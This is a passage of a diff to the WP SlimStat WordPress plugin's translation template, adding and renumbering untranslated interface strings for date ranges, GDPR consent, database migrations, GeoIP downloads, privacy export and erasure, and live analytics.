admin\u002Fview\u002Fwp-slimstat-reports.php:1864\n msgid \"Remove filter for\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:1836\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:1869\n msgid \"Save\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:1840\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:1873\n msgid \"Reset All\"\n msgstr \"\"\n \n@@ -4786,61 +5081,371 @@\n msgid \"GeoIP database file is missing or corrupt. Please go to Settings -> Tracker and click on the \\\"Update Database\\\" button to download a fresh copy.\"\n msgstr \"\"\n \n-#: src\u002FComponents\u002FView.php:38\n+#: src\u002FComponents\u002FDateRangeHelper.php:201\n+msgid \"This week\"\n+msgstr \"\"\n+\n+#: src\u002FComponents\u002FDateRangeHelper.php:202\n+msgid \"Last week\"\n+msgstr \"\"\n+\n+#: src\u002FComponents\u002FDateRangeHelper.php:203\n+msgid \"This Month\"\n+msgstr \"\"\n+\n+#: src\u002FComponents\u002FDateRangeHelper.php:204\n+msgid \"Previous Month\"\n+msgstr \"\"\n+\n+#: src\u002FComponents\u002FDateRangeHelper.php:205\n+msgid \"Last 7 Days\"\n+msgstr \"\"\n+\n+#: src\u002FComponents\u002FDateRangeHelper.php:206\n+msgid \"Last 28 Days\"\n+msgstr \"\"\n+\n+#: src\u002FComponents\u002FDateRangeHelper.php:207\n+msgid \"Last 30 Days\"\n+msgstr \"\"\n+\n+#: src\u002FComponents\u002FDateRangeHelper.php:208\n+msgid \"Last 90 Days\"\n+msgstr \"\"\n+\n+#: src\u002FComponents\u002FDateRangeHelper.php:209\n+msgid \"Last 6 Months\"\n+msgstr \"\"\n+\n+#: src\u002FComponents\u002FDateRangeHelper.php:210\n+msgid \"This Year\"\n+msgstr \"\"\n+\n+#: src\u002FComponents\u002FDateRangeHelper.php:211\n+msgid \"Custom Range\"\n+msgstr \"\"\n+\n+#: src\u002FComponents\u002FDateRangeHelper.php:213\n+msgid \"Cancel\"\n+msgstr \"\"\n+\n+#: src\u002FComponents\u002FDateRangeHelper.php:214\n+msgid \"Clear Cache\"\n+msgstr \"\"\n+\n+#: src\u002FComponents\u002FDateRangeHelper.php:215\n+msgid \"Clearing...\"\n+msgstr \"\"\n+\n+#: src\u002FComponents\u002FDateRangeHelper.php:216\n+msgid \"Cleared!\"\n+msgstr \"\"\n+\n+#: src\u002FComponents\u002FDateRangeHelper.php:217\n+msgid \"Error\"\n+msgstr \"\"\n+\n+#: src\u002FComponents\u002FDateRangeHelper.php:232\n+msgid \"Invalid date format\"\n+msgstr \"\"\n+\n+#: src\u002FComponents\u002FDateRangeHelper.php:239\n+msgid \"Start date must be before end date\"\n+msgstr \"\"\n+\n+#: src\u002FComponents\u002FDateRangeHelper.php:248\n+msgid \"Date range too long. Maximum 3 years allowed.\"\n+msgstr \"\"\n+\n+#: src\u002FComponents\u002FDateRangeHelper.php:256\n+msgid \"Start date cannot be in the future\"\n+msgstr \"\"\n+\n+#: src\u002FComponents\u002FDateRangeHelper.php:263\n+msgid \"End date cannot be in the future\"\n+msgstr \"\"\n+\n+#: src\u002FComponents\u002FView.php:89\n msgid \"View file not found: \"\n msgstr \"\"\n \n+#: src\u002FControllers\u002FRest\u002FConsentChangeRestController.php:153\n+#: src\u002FControllers\u002FRest\u002FGDPRBannerRestController.php:74\n+#: src\u002FServices\u002FPrivacy\u002FConsentHandler.php:101\n+msgid \"Invalid security token.\"\n+msgstr \"\"\n+\n+#: src\u002FControllers\u002FRest\u002FConsentChangeRestController.php:165\n+msgid \"Invalid consent data format.\"\n+msgstr \"\"\n+\n+#: src\u002FControllers\u002FRest\u002FGDPRBannerRestController.php:84\n+#: src\u002FServices\u002FPrivacy\u002FConsentHandler.php:112\n+msgid \"SlimStat banner is not enabled.\"\n+msgstr \"\"\n+\n+#: src\u002FControllers\u002FRest\u002FGDPRBannerRestController.php:98\n+#: src\u002FServices\u002FPrivacy\u002FConsentHandler.php:135\n+msgid \"Failed to set consent cookie.\"\n+msgstr \"\"\n+\n+#: src\u002FControllers\u002FRest\u002FGDPRBannerRestController.php:110\n+#: src\u002FServices\u002FPrivacy\u002FConsentHandler.php:221\n+msgid \"Consent granted.\"\n+msgstr \"\"\n+\n+#: src\u002FControllers\u002FRest\u002FGDPRBannerRestController.php:111\n+#: src\u002FServices\u002FPrivacy\u002FConsentHandler.php:222\n+msgid \"Consent denied.\"\n+msgstr \"\"\n+\n+#: src\u002FControllers\u002FRest\u002FTrackingRestController.php:179\n+msgid \"[REST API] Tracking failed, falling back to alternative methods.\"\n+msgstr \"\"\n+\n+#: src\u002FDecorators\u002FNotificationDecorator.php:152\n+msgid \"ago\"\n+msgstr \"\"\n+\n #: src\u002FException\u002FLogException.php:20\n #, php-format\n msgid \"Exception occurred: [Code %d] %s at %s:%d\"\n msgstr \"\"\n \n-#: src\u002FModules\u002FChart.php:47\n+#. translators: %1$s is the index name, %2$s is the table name.\n+#: src\u002FMigration\u002FAbstractIndexMigration.php:23\n+#, php-format\n+msgid \"Ensures the %1$s index exists on the %2$s table for performance.\"\n+msgstr \"\"\n+\n+#: src\u002FMigration\u002FAdmin\u002FMigrationAdmin.php:41\n+#: src\u002FMigration\u002FAdmin\u002FMigrationAdmin.php:42\n+msgid \"Migration\"\n+msgstr \"\"\n+\n+#: src\u002FMigration\u002FAdmin\u002FMigrationAdmin.php:90\n+msgid \"Running migrations…\"\n+msgstr \"\"\n+\n+#: src\u002FMigration\u002FAdmin\u002FMigrationAdmin.php:91\n+msgid \"In progress…\"\n+msgstr \"\"\n+\n+#: src\u002FMigration\u002FAdmin\u002FMigrationAdmin.php:92\n+msgid \"Done\"\n+msgstr \"\"\n+\n+#: src\u002FMigration\u002FAdmin\u002FMigrationAdmin.php:93\n+msgid \"Failed\"\n+msgstr \"\"\n+\n+#: src\u002FMigration\u002FAdmin\u002FMigrationAdmin.php:94\n+msgid \"All migrations finished.\"\n+msgstr \"\"\n+\n+#: src\u002FMigration\u002FAdmin\u002FMigrationAdmin.php:196\n+#: src\u002Fview\u002Fmigration-page.php:11\n+msgid \"SlimStat Database Migration\"\n+msgstr \"\"\n+\n+#: src\u002FMigration\u002FAdmin\u002FMigrationAdmin.php:197\n+msgid \"SlimStat database migration required\"\n+msgstr \"\"\n+\n+#: src\u002FMigration\u002FAdmin\u002FMigrationAdmin.php:198\n+msgid \"To improve SlimStat performance and stability, your database needs to be migrated.\"\n+msgstr \"\"\n+\n+#: src\u002FMigration\u002FAdmin\u002FMigrationAdmin.php:202\n+msgid \"Technical details\"\n+msgstr \"\"\n+\n+#: src\u002FMigration\u002FAdmin\u002FMigrationAdmin.php:218\n+msgid \"Go to Migration Page\"\n+msgstr \"\"\n+\n+#: src\u002FMigration\u002FAdmin\u002FMigrationAdmin.php:265\n+msgid \"All migrations completed successfully!\"\n+msgstr \"\"\n+\n+#: src\u002FMigration\u002FAdmin\u002FMigrationAdmin.php:265\n+msgid \"Migrations completed, but some may still be needed.\"\n+msgstr \"\"\n+\n+#: src\u002FMigration\u002FAdmin\u002FMigrationAdmin.php:304\n+msgid \"Migration dismissal reset\"\n+msgstr \"\"\n+\n+#: src\u002FMigration\u002FMigrations\u002FCreateCountryDtIndex.php:17\n+msgid \"Create country, dt Index\"\n+msgstr \"\"\n+\n+#: src\u002FMigration\u002FMigrations\u002FCreateDtBrowserIndex.php:17\n+msgid \"Create Browser Index\"\n+msgstr \"\"\n+\n+#: src\u002FMigration\u002FMigrations\u002FCreateDtOutIndex.php:17\n+msgid \"Create dt_out Index\"\n+msgstr \"\"\n+\n+#: src\u002FMigration\u002FMigrations\u002FCreateDtPlatformIndex.php:17\n+msgid \"Create Platform Index\"\n+msgstr \"\"\n+\n+#: src\u002FMigration\u002FMigrations\u002FCreateDtScreenIndex.php:17\n+msgid \"Create Screen Resolution Index\"\n+msgstr \"\"\n+\n+#: src\u002FModules\u002FChart.php:50\n+#: src\u002FReports\u002FTypes\u002FAnalytics\u002FLiveAnalyticsReport.php:584\n msgid \"Insufficient permissions\"\n msgstr \"\"\n \n-#: src\u002FModules\u002FChart.php:54\n+#: src\u002FModules\u002FChart.php:57\n msgid \"Invalid granularity\"\n msgstr \"\"\n \n-#: src\u002FModules\u002FChart.php:113\n+#: src\u002FModules\u002FChart.php:126\n msgid \"-- Previous Period\"\n msgstr \"\"\n \n-#: src\u002FModules\u002FChart.php:114\n+#: src\u002FModules\u002FChart.php:127\n msgid \"Click Tap “Previous Period” to hide or show the previous period line.\"\n msgstr \"\"\n \n-#: src\u002FModules\u002FChart.php:116\n+#: src\u002FModules\u002FChart.php:129\n msgid \"30 Days ago\"\n msgstr \"\"\n \n-#: src\u002FModules\u002FChart.php:117\n+#: src\u002FModules\u002FChart.php:130\n msgid \"Day ago\"\n msgstr \"\"\n \n-#: src\u002FModules\u002FChart.php:118\n+#: src\u002FModules\u002FChart.php:131\n msgid \"Year ago\"\n msgstr \"\"\n \n-#: src\u002FModules\u002FChart.php:119\n-msgid \"Now\"\n-msgstr \"\"\n-\n-#: src\u002FModules\u002FChart.php:383\n-#: src\u002FModules\u002FChart.php:400\n+#: src\u002FModules\u002FChart.php:478\n+#: src\u002FModules\u002FChart.php:495\n msgid \"Invalid SQL function in chart data expression\"\n msgstr \"\"\n \n-#: src\u002FModules\u002FChart.php:387\n-#: src\u002FModules\u002FChart.php:404\n+#: src\u002FModules\u002FChart.php:482\n+#: src\u002FModules\u002FChart.php:499\n msgid \"Invalid column name in chart data expression\"\n msgstr \"\"\n \n-#: src\u002FModules\u002FChart.php:412\n+#: src\u002FModules\u002FChart.php:507\n msgid \"Invalid SQL expression in chart data. Only whitelisted aggregate functions on valid columns are allowed.\"\n msgstr \"\"\n \n+#: src\u002FReports\u002FAbstracts\u002FAbstractReport.php:355\n+msgid \"No content available for this report.\"\n+msgstr \"\"\n+\n+#: src\u002FReports\u002FTypes\u002FAnalytics\u002FLiveAnalyticsReport.php:39\n+#: src\u002FReports\u002FTypes\u002FAnalytics\u002FLiveAnalyticsReport.php:43\n+msgid \"Live Analytics\"\n+msgstr \"\"\n+\n+#: src\u002FReports\u002FTypes\u002FAnalytics\u002FLiveAnalyticsReport.php:44\n+msgid \"Real-time analytics with second-level accuracy showing current user activity and trends.\"\n+msgstr \"\"\n+\n+#: src\u002FReports\u002FTypes\u002FAnalytics\u002FLiveAnalyticsReport.php:46\n+msgid \"• Users Live: Unique sessions active within the last 30 minutes\"\n+msgstr \"\"\n+\n+#: src\u002FReports\u002FTypes\u002FAnalytics\u002FLiveAnalyticsReport.php:47\n+msgid \"• Counters use the latest dt\u002Fdt_out data so long reads remain “online” until they go idle\"\n+msgstr \"\"\n+\n+#: src\u002FReports\u002FTypes\u002FAnalytics\u002FLiveAnalyticsReport.php:48\n+msgid \"• Deferred dt_out updates backfill past minutes so long reads remain visible on the chart\"\n+msgstr \"\"\n+\n+#: src\u002FReports\u002FTypes\u002FAnalytics\u002FLiveAnalyticsReport.php:49\n+msgid \"• Chart shows exact user count for each minute of the last 30 minutes\"\n+msgstr \"\"\n+\n+#: src\u002FReports\u002FTypes\u002FAnalytics\u002FLiveAnalyticsReport.php:50\n+msgid \"• Pages Live: Unique pages viewed in the last 30 minutes\"\n+msgstr \"\"\n+\n+#: src\u002FReports\u002FTypes\u002FAnalytics\u002FLiveAnalyticsReport.php:51\n+msgid \"• Countries Live: Number of countries with active users in the last 30 minutes\"\n+msgstr \"\"\n+\n+#: src\u002FReports\u002FTypes\u002FAnalytics\u002FLiveAnalyticsReport.php:52\n+msgid \"• Data refreshes every 10 seconds with a short-lived cache for stability\"\n+msgstr \"\"\n+\n+#: src\u002FReports\u002FTypes\u002FAnalytics\u002FLiveAnalyticsReport.php:53\n+msgid \"• Red bars highlight peak activity periods\"\n+msgstr \"\"\n+\n+#: src\u002FReports\u002FTypes\u002FAnalytics\u002FLiveAnalyticsReport.php:565\n+msgid \"Too many requests. Please try again later.\"\n+msgstr \"\"\n+\n+#: src\u002FReports\u002FTypes\u002FAnalytics\u002FLiveAnalyticsReport.php:574\n+msgid \"Security check failed\"\n+msgstr \"\"\n+\n+#: src\u002FReports\u002FTypes\u002FAnalytics\u002FLiveAnalyticsReport.php:602\n+msgid \"Invalid report ID format\"\n+msgstr \"\"\n+\n+#: src\u002FReports\u002FTypes\u002FAnalytics\u002FLiveAnalyticsReport.php:620\n+msgid \"An error occurred while fetching data\"\n+msgstr \"\"\n+\n+#: src\u002FReports\u002FTypes\u002FAnalytics\u002FLiveAnalyticsReport.php:627\n+msgid \"A fatal error occurred while fetching data\"\n+msgstr \"\"\n+\n+#: src\u002FServices\u002FAdmin\u002FNotification\u002FNotificationActions.php:23\n+#: src\u002FServices\u002FAdmin\u002FNotification\u002FNotificationActions.php:47\n+#: src\u002FServices\u002FAdmin\u002FNotification\u002FNotificationActions.php:69\n+msgid \"Permission denied.\"\n+msgstr \"\"\n+\n+#: src\u002FServices\u002FAdmin\u002FNotification\u002FNotificationActions.php:31\n+msgid \"All notifications have been dismissed.\"\n+msgstr \"\"\n+\n+#: src\u002FServices\u002FAdmin\u002FNotification\u002FNotificationActions.php:34\n+msgid \"Notification has been dismissed.\"\n+msgstr \"\"\n+\n+#: src\u002FServices\u002FAdmin\u002FNotification\u002FNotificationActions.php:54\n+msgid \"Notifications status has been updated.\"\n+msgstr \"\"\n+\n+#: src\u002FServices\u002FAdmin\u002FNotification\u002FNotificationActions.php:56\n+msgid \"Notifications status has not been updated.\"\n+msgstr \"\"\n+\n+#: src\u002FServices\u002FAdmin\u002FNotification\u002FNotificationActions.php:97\n+msgid \"Notifications refreshed.\"\n+msgstr \"\"\n+\n+#: src\u002FServices\u002FAdmin\u002FNotification\u002FNotificationActions.php:118\n+#: views\u002Fcomponents\u002Fnotification\u002Fside-bar.php:76\n+msgid \"dismissed list\"\n+msgstr \"\"\n+\n+#: src\u002FServices\u002FAdmin\u002FNotification\u002FNotificationActions.php:118\n+#: views\u002Fcomponents\u002Fnotification\u002Fno-data.php:2\n+#: views\u002Fcomponents\u002Fnotification\u002Fside-bar.php:59\n+msgid \"inbox\"\n+msgstr \"\"\n+\n+#: src\u002FServices\u002FAdmin\u002FNotification\u002FNotificationFetcher.php:43\n+#, php-format\n+msgid \"No notifications were found. The API returned an empty response from the following URL: %s\"\n+msgstr \"\"\n+\n #: src\u002FServices\u002FBrowscap.php:26\n msgid \"The Browscap Cache folder could not be opened on your filesystem. Please check your server permissions and try again.\"\n msgstr \"\"\n@@ -4877,76 +5482,326 @@\n msgid \"The Browscap data file has been installed on your server.\"\n msgstr \"\"\n \n-#: src\u002FServices\u002FGeoIP.php:153\n-msgid \"GeoIP Database Already Exists!\"\n+#: src\u002FServices\u002FGDPRService.php:165\n+msgid \"This website uses cookies to analyze site traffic and improve your experience. By continuing to use this site, you consent to our use of cookies.\"\n+msgstr \"\"\n+\n+#: src\u002FServices\u002FGDPRService.php:184\n+#: wp-slimstat.php:820\n+msgid \"Accept\"\n+msgstr \"\"\n+\n+#: src\u002FServices\u002FGDPRService.php:187\n+msgid \"Deny\"\n+msgstr \"\"\n+\n+#: src\u002FServices\u002FGeolocation\u002FProvider\u002FMaxmindGeoIPProvider.php:25\n+#: src\u002FServices\u002FGeolocation\u002FProvider\u002FMaxmindGeoIPProvider.php:80\n+msgid \"Invalid MaxMind license key format. License key should be 16-40 characters containing only letters, numbers, and underscores.\"\n msgstr \"\"\n \n-#: src\u002FServices\u002FGeoIP.php:161\n-msgid \"Error: \u003Ccode>gzopen()\u003C\u002Fcode> Function Not Found!\"\n+#: src\u002FServices\u002FGeolocation\u002FProvider\u002FMaxmindGeoIPProvider.php:104\n+msgid \"Failed to create temporary file for MaxMind database download.\"\n msgstr \"\"\n \n-#: src\u002FServices\u002FGeoIP.php:178\n+#: src\u002FServices\u002FGeolocation\u002FProvider\u002FMaxmindGeoIPProvider.php:146\n #, php-format\n-msgid \"Error Creating GeoIP Database Directory. Ensure Web Server Has Directory Creation Permissions in: %s\"\n+msgid \"Network error downloading MaxMind database: %s\"\n+msgstr \"\"\n+\n+#: src\u002FServices\u002FGeolocation\u002FProvider\u002FMaxmindGeoIPProvider.php:158\n+msgid \"Failed to stage downloaded MaxMind archive.\"\n+msgstr \"\"\n+\n+#: src\u002FServices\u002FGeolocation\u002FProvider\u002FMaxmindGeoIPProvider.php:172\n+msgid \"MaxMind update requires the PHP Phar extension (PharData class not found). Please enable Phar extension or upload the .mmdb file manually to wp-content\u002Fuploads\u002Fwp-slimstat\u002F.\"\n msgstr \"\"\n \n-#: src\u002FServices\u002FGeoIP.php:182\n+#: src\u002FServices\u002FGeolocation\u002FProvider\u002FMaxmindGeoIPProvider.php:191\n+msgid \"Failed to create temporary extraction directory.\"\n+msgstr \"\"\n+\n+#: src\u002FServices\u002FGeolocation\u002FProvider\u002FMaxmindGeoIPProvider.php:227\n+msgid \"Source file is not readable\"\n+msgstr \"\"\n+\n+#: src\u002FServices\u002FGeolocation\u002FProvider\u002FMaxmindGeoIPProvider.php:230\n #, php-format\n-msgid \"Error Setting Permissions for GeoIP Database Directory. Check Write Permissions for Directories in: %s\"\n+msgid \"Destination directory is not writable: %s\"\n msgstr \"\"\n \n-#: src\u002FServices\u002FGeoIP.php:190\n+#: src\u002FServices\u002FGeolocation\u002FProvider\u002FMaxmindGeoIPProvider.php:233\n+msgid \"Destination file exists but is not writable\"\n+msgstr \"\"\n+\n+#: src\u002FServices\u002FGeolocation\u002FProvider\u002FMaxmindGeoIPProvider.php:237\n #, php-format\n-msgid \"Error Downloading GeoIP Database from: %1$s - %2$s\"\n+msgid \".mmdb file was found but could not be moved or copied to destination. Source: %s, Destination: %s\"\n msgstr \"\"\n \n-#: src\u002FServices\u002FGeoIP.php:211\n-msgid \"There was an error creating the GeoIP database file.\"\n+#: src\u002FServices\u002FGeolocation\u002FProvider\u002FMaxmindGeoIPProvider.php:243\n+#, php-format\n+msgid \"Diagnostic info: %s\"\n msgstr \"\"\n \n-#: src\u002FServices\u002FGeoIP.php:223\n+#: src\u002FServices\u002FGeolocation\u002FProvider\u002FMaxmindGeoIPProvider.php:264\n #, php-format\n-msgid \"Error Opening Downloaded GeoIP Database for Reading: %s\"\n+msgid \"No .mmdb file found in MaxMind database archive. Files found: %s\"\n msgstr \"\"\n \n-#: src\u002FServices\u002FGeoIP.php:227\n+#: src\u002FServices\u002FGeolocation\u002FProvider\u002FMaxmindGeoIPProvider.php:283\n #, php-format\n-msgid \"Error Opening Destination GeoIP Database for Writing: %s\"\n+msgid \"Error extracting MaxMind database: %s\"\n msgstr \"\"\n \n-#: src\u002FServices\u002FGeoIP.php:244\n-msgid \"GeoIP Database Successfully Updated!\"\n+#: src\u002FServices\u002FGeolocation\u002FProvider\u002FMaxmindGeoIPProvider.php:293\n+#, php-format\n+msgid \"Fatal error updating MaxMind database: %s\"\n msgstr \"\"\n \n-#: src\u002FServices\u002FGeoIP.php:248\n+#: src\u002FServices\u002FGeolocation\u002FProvider\u002FMaxmindGeoIPProvider.php:315\n #, php-format\n-msgid \"Error: %1$s\"\n+msgid \"DNS resolution failed for %s. Please check your internet connection and DNS settings.\"\n msgstr \"\"\n \n-#: src\u002FServices\u002FGeoIP.php:266\n-msgid \"The provided URL is invalid.\"\n+#: src\u002FServices\u002FGeolocation\u002FProvider\u002FMaxmindGeoIPProvider.php:323\n+#, php-format\n+msgid \"Cannot connect to MaxMind servers. Network error: %s\"\n msgstr \"\"\n \n-#: src\u002FServices\u002FGeoIP.php:273\n-msgid \"A temporary file could not be created. Please check your server's file permissions and try again.\"\n+#: src\u002FServices\u002FGeolocation\u002FProvider\u002FMaxmindGeoIPProvider.php:331\n+#, php-format\n+msgid \"Network connectivity check failed: %s\"\n msgstr \"\"\n \n-#: src\u002FServices\u002FGeoService.php:115\n-msgid \"GeoIP is disabled. Please first choose GeoIP Database Source and save settings!\"\n+#: src\u002FServices\u002FGeolocation\u002FProvider\u002FMaxmindGeoIPProvider.php:339\n+#, php-format\n+msgid \"HTTP %d error downloading MaxMind database\"\n msgstr \"\"\n \n-#: src\u002FServices\u002FGeoService.php:137\n+#: src\u002FServices\u002FGeolocation\u002FProvider\u002FMaxmindGeoIPProvider.php:342\n+msgid \"Unauthorized. Please check your MaxMind license key. The key may be invalid, expired, or not authorized for GeoLite2 downloads.\"\n+msgstr \"\"\n+\n+#: src\u002FServices\u002FGeolocation\u002FProvider\u002FMaxmindGeoIPProvider.php:344\n+msgid \"Forbidden. Your license key does not have permission to download this database, or you have exceeded the download limit.\"\n+msgstr \"\"\n+\n+#: src\u002FServices\u002FGeolocation\u002FProvider\u002FMaxmindGeoIPProvider.php:346\n+msgid \"Database not found. The requested edition may not exist or may not be available for your account type.\"\n+msgstr \"\"\n+\n+#: src\u002FServices\u002FGeolocation\u002FProvider\u002FMaxmindGeoIPProvider.php:348\n+msgid \"Too many requests. You have exceeded the download limit. Please wait before trying again.\"\n+msgstr \"\"\n+\n+#: src\u002FServices\u002FGeolocation\u002FProvider\u002FMaxmindGeoIPProvider.php:353\n+msgid \"MaxMind server error. Please try again later.\"\n+msgstr \"\"\n+\n+#: src\u002FServices\u002FGeolocation\u002FProvider\u002FMaxmindGeoIPProvider.php:359\n+msgid \"License key authentication failed. Please verify your MaxMind license key.\"\n+msgstr \"\"\n+\n+#: src\u002FServices\u002FGeoService.php:113\n+msgid \"GeoIP is disabled. Please choose a DB-based provider and save settings.\"\n+msgstr \"\"\n+\n+#: src\u002FServices\u002FGeoService.php:131\n msgid \"GeoIP database not found!\"\n msgstr \"\"\n \n-#: src\u002FServices\u002FGeoService.php:145\n+#: src\u002FServices\u002FGeoService.php:147\n msgid \"GeoIP database is working fine!\"\n msgstr \"\"\n \n-#: src\u002FServices\u002FGeoService.php:152\n+#: src\u002FServices\u002FGeoService.php:154\n msgid \"GeoIP database file is corrupt. Please click on the \\\"Update Database\\\" button to download a fresh copy.\"\n msgstr \"\"\n \n+#: src\u002FServices\u002FPrivacy\u002FConsentHandler.php:55\n+msgid \"Consent revoked and cookie deleted.\"\n+msgstr \"\"\n+\n+#: src\u002FServices\u002FPrivacy\u002FConsentHandler.php:122\n+msgid \"Invalid consent value.\"\n+msgstr \"\"\n+\n+#: src\u002FServices\u002FPrivacy\u002FDataEraser.php:59\n+#, php-format\n+msgid \"Removed %d pageview record(s) from SlimStat.\"\n+msgstr \"\"\n+\n+#: src\u002FServices\u002FPrivacy\u002FDataEraser.php:82\n+#, php-format\n+msgid \"Removed %d archived pageview record(s) from SlimStat.\"\n+msgstr \"\"\n+\n+#: src\u002FServices\u002FPrivacy\u002FDataEraser.php:150\n+#, php-format\n+msgid \"Removed %d event record(s) from SlimStat.\"\n+msgstr \"\"\n+\n+#: src\u002FServices\u002FPrivacy\u002FDataEraser.php:175\n+#, php-format\n+msgid \"Removed %d archived event record(s) from SlimStat.\"\n+msgstr \"\"\n+\n+#: src\u002FServices\u002FPrivacy\u002FDataEraser.php:244\n+#, php-format\n+msgid \"Anonymized %d record(s) with IP %s in SlimStat.\"\n+msgstr \"\"\n+\n+#: src\u002FServices\u002FPrivacy\u002FDataEraser.php:275\n+#: src\u002FServices\u002FPrivacy\u002FDataExporter.php:158\n+#: src\u002FServices\u002FPrivacy\u002FDataExporter.php:280\n+msgid \"SlimStat Pageviews\"\n+msgstr \"\"\n+\n+#: src\u002FServices\u002FPrivacy\u002FDataEraser.php:280\n+#: src\u002FServices\u002FPrivacy\u002FDataExporter.php:247\n+#: src\u002FServices\u002FPrivacy\u002FDataExporter.php:285\n+msgid \"SlimStat Events\"\n+msgstr \"\"\n+\n+#: src\u002FServices\u002FPrivacy\u002FDataExporter.php:55\n+msgid \"Visit Date\"\n+msgstr \"\"\n+\n+#: src\u002FServices\u002FPrivacy\u002FDataExporter.php:61\n+msgid \"Page Visited\"\n+msgstr \"\"\n+\n+#: src\u002FServices\u002FPrivacy\u002FDataExporter.php:76\n+msgid \"Username\"\n+msgstr \"\"\n+\n+#: src\u002FServices\u002FPrivacy\u002FDataExporter.php:83\n+msgid \"Email\"\n+msgstr \"\"\n+\n+#: src\u002FServices\u002FPrivacy\u002FDataExporter.php:98\n+msgid \"Browser Fingerprint\"\n+msgstr \"\"\n+\n+#: src\u002FServices\u002FPrivacy\u002FDataExporter.php:213\n+msgid \"Event Date\"\n+msgstr \"\"\n+\n+#: src\u002FServices\u002FPrivacy\u002FDataExporter.php:219\n+msgid \"Event Type\"\n+msgstr \"\"\n+\n+#: src\u002FServices\u002FPrivacy\u002FDataExporter.php:233\n+msgid \"Position\"\n+msgstr \"\"\n+\n+#: src\u002FTracker\u002FProcessor.php:128\n+#, php-format\n+msgid \"Attempted XSS Injection: %s\"\n+msgstr \"\"\n+\n+#: src\u002Fview\u002Fmigration-page.php:16\n+msgid \"Migration Status\"\n+msgstr \"\"\n+\n+#: src\u002Fview\u002Fmigration-page.php:19\n+msgid \"Ready to start\"\n+msgstr \"\"\n+\n+#: src\u002Fview\u002Fmigration-page.php:19\n+msgid \"Migrating database…\"\n+msgstr \"\"\n+\n+#: src\u002Fview\u002Fmigration-page.php:19\n+msgid \"Migration complete\"\n+msgstr \"\"\n+\n+#: src\u002Fview\u002Fmigration-page.php:19\n+msgid \"Migration failed\"\n+msgstr \"\"\n+\n+#: src\u002Fview\u002Fmigration-page.php:20\n+msgid \"Idle\"\n+msgstr \"\"\n+\n+#: src\u002Fview\u002Fmigration-page.php:23\n+msgid \"We are migrating your database to improve SlimStat performance and stability. Keep this page open until the process finishes. You can review each step below.\"\n+msgstr \"\"\n+\n+#: src\u002Fview\u002Fmigration-page.php:26\n+msgid \"Total steps\"\n+msgstr \"\"\n+\n+#: src\u002Fview\u002Fmigration-page.php:27\n+msgid \"Completed\"\n+msgstr \"\"\n+\n+#: src\u002Fview\u002Fmigration-page.php:28\n+msgid \"Remaining\"\n+msgstr \"\"\n+\n+#: src\u002Fview\u002Fmigration-page.php:29\n+msgid \"Elapsed\"\n+msgstr \"\"\n+\n+#: src\u002Fview\u002Fmigration-page.php:39\n+msgid \"Click \\\"Start Migration\\\" to begin. Progress and details will appear here.\"\n+msgstr \"\"\n+\n+#: src\u002Fview\u002Fmigration-page.php:41\n+msgid \"No migrations are required. Your database is up to date.\"\n+msgstr \"\"\n+\n+#: src\u002Fview\u002Fmigration-page.php:46\n+msgid \"Migration Steps & Diagnostics\"\n+msgstr \"\"\n+\n+#: src\u002Fview\u002Fmigration-page.php:53\n+msgid \"Start Migration\"\n+msgstr \"\"\n+\n+#: src\u002Fview\u002Fmigration-page.php:58\n+#: src\u002Fview\u002Fmigration-page.php:62\n+msgid \"Back to Dashboard\"\n+msgstr \"\"\n+\n+#: views\u002Fcomponents\u002Fnotification\u002Fcard.php:34\n+msgid \"Dismiss\"\n+msgstr \"\"\n+\n+#: views\u002Fcomponents\u002Fnotification\u002Fno-data.php:15\n+msgid \"You are up to date!\"\n+msgstr \"\"\n+\n+#. translators: %s: notification tab name\n+#: views\u002Fcomponents\u002Fnotification\u002Fno-data.php:20\n+#, php-format\n+msgid \"No notifications in your %s.\"\n+msgstr \"\"\n+\n+#: views\u002Fcomponents\u002Fnotification\u002Fside-bar.php:13\n+#: views\u002Fcomponents\u002Fnotification\u002Fside-bar.php:14\n+msgid \"Refresh notifications\"\n+msgstr \"\"\n+\n+#: views\u002Fcomponents\u002Fnotification\u002Fside-bar.php:16\n+#: views\u002Fcomponents\u002Fnotification\u002Fside-bar.php:17\n+msgid \"Close notifications\"\n+msgstr \"\"\n+\n+#: views\u002Fcomponents\u002Fnotification\u002Fside-bar.php:24\n+msgid \"Inbox\"\n+msgstr \"\"\n+\n+#: views\u002Fcomponents\u002Fnotification\u002Fside-bar.php:26\n+msgid \"Dismissed\"\n+msgstr \"\"\n+\n+#: views\u002Fcomponents\u002Fnotification\u002Fside-bar.php:41\n+msgid \"Dismiss all\"\n+msgstr \"\"\n+\n #: views\u002Fmodules\u002Fchart-view.php:12\n msgid \"Yearly\"\n msgstr \"\"\n@@ -4967,56 +5822,215 @@\n msgid \"Hourly\"\n msgstr \"\"\n \n-#: wp-slimstat.php:581\n-#, php-format\n-msgid \"Attempted XSS Injection: %s\"\n+#: views\u002Freports\u002Flive-analytics.php:67\n+msgid \"Users live\"\n+msgstr \"\"\n+\n+#: views\u002Freports\u002Flive-analytics.php:85\n+msgid \"Pages live\"\n+msgstr \"\"\n+\n+#: views\u002Freports\u002Flive-analytics.php:103\n+msgid \"Countries live\"\n+msgstr \"\"\n+\n+#: views\u002Freports\u002Flive-analytics.php:118\n+#: views\u002Freports\u002Flive-analytics.php:171\n+msgid \"LIVE\"\n+msgstr \"\"\n+\n+#: views\u002Freports\u002Flive-analytics.php:120\n+#: views\u002Freports\u002Flive-analytics.php:173\n+msgid \"Online users per minute\"\n+msgstr \"\"\n+\n+#: views\u002Freports\u002Flive-analytics.php:126\n+msgid \"We're not seeing activity in the last 30 minutes yet.\"\n+msgstr \"\"\n+\n+#: wp-slimstat.php:265\n+msgid \"Session cookie that identifies returning visitors for analytics.\"\n msgstr \"\"\n \n-#: wp-slimstat.php:897\n+#: wp-slimstat.php:434\n msgid \"Invalid Report ID\"\n msgstr \"\"\n \n-#: wp-slimstat.php:1064\n+#: wp-slimstat.php:611\n msgid \"[REST API] The \u003Ccode>dimension\u003C\u002Fcode> parameter is required. Please review your request and try again.\"\n msgstr \"\"\n \n-#: wp-slimstat.php:1068\n+#: wp-slimstat.php:615\n msgid \"[REST API] The \u003Ccode>function\u003C\u002Fcode> parameter is required. Please review your request and try again.\"\n msgstr \"\"\n \n-#: wp-slimstat.php:1099\n+#: wp-slimstat.php:646\n msgid \"[REST API] You sent an 